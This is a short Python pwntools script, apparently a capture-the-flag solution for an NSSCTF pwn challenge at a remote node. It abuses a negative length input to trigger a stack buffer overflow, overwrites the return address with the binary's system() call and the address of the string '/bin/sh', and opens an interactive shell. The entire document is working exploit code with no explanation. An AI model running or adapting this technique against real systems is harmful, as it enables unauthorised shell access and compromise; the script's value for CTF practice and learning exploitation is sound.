from pwn import * context(log_level='debug',os='linux',arch='i386') p=remote("node5.anna.nssctf.cn",28564) elf=ELF("./attachment") p.recvuntil("Tell me your choice:") p.sendline(b'1') p.recvuntil("First input the length of your name:") p.sendline(b'-1') p.recvuntil("\x1B[36m What's u name?\n\x1B[0m") stack_overflow=cyclic(0x20+4) system_addr=p32(elf.sym["system"]) rip_padding=p32(0) str_bin_sh_addr=p32(next(elf.search(b'/bin/sh\x00'))) payload1=flat([stack_overflow,system_addr,rip_padding,str_bin_sh_addr]) p.sendline(payload1) p.interactive()